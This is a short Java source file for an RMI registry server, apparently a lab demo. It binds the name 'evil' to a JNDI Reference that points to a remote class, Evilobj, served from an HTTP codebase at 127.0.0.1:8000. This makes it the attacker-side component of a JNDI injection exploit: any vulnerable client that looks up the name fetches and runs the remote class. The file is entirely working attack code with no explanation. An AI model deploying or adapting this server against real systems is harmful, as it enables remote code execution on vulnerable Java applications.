package com.example.demo;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;


public class RMIServer {

	public static void main(String[] args) {
		
		try {
			
			LocateRegistry.createRegistry(1099);
			Registry registry = LocateRegistry.getRegistry();
			
			System.out.println("Create RMI registry on port 1099");
			
			Reference reference = new Reference("com.example.demo.Evilobj","com.example.demo.Evilobj","http://127.0.0.1:8000/");
			ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
			registry.bind("evil", referenceWrapper);
			
		}catch(Exception e) {
			e.printStackTrace();
		}

	}

}
